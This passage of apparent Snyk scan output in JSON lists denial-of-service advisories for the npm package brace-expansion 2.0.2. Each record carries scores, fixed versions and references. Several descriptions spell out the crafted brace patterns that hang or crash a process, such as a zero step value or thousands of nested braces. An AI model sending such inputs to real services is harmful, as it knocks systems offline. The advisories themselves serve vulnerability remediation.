"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
